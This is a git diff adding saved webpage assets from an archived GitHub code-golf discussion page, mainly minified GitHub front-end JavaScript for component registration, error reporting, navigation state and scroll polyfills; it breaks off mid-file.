es_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function 